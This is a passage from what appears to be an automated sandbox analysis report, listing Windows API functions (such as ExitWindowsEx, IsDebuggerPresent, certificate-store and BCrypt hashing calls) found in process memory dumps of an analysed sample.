00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CharToOemBuffA"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetScrollRange"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetTopWindow"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CreateMenu"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetWindowRgn"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemCount"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetSysColorBrush"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetScrollInfo"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "EnableScrollBar"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "DrawIconEx"; Source: "00000000-00000952.00000000.123319.00432000.00000004.mdmp, 00000000-00000952.00000002.127161.00432000.00000004.mdmp") Found reference to API (Indicator: "StrToInt64ExW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetProcessShutdownParameters"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetNamedSecurityInfoW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "GetNamedSecurityInfoW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "CommandLineToArgvW"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API (Indicator: "GetHandleVerifier"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found reference to API (Indicator: "PathCombine"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "ProcessIdToSessionId"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "GetTimeZoneInformationForYear"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimes"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CryptDecodeObject"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "PFXImportCertStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertGetNameStringW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertNameToStrW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertFindChainInStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "CertFindCertificateInStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CopyFileExW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InterlockedAnd"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InterlockedExchange"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InterlockedOr"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InterlockedXor"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FCICreate"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FCIFlushCabinet"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FCIAddFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FDICreate"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FCIDestroy"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FDIDestroy"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FDICopy"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "DeviceIoControl"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFileEx"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: 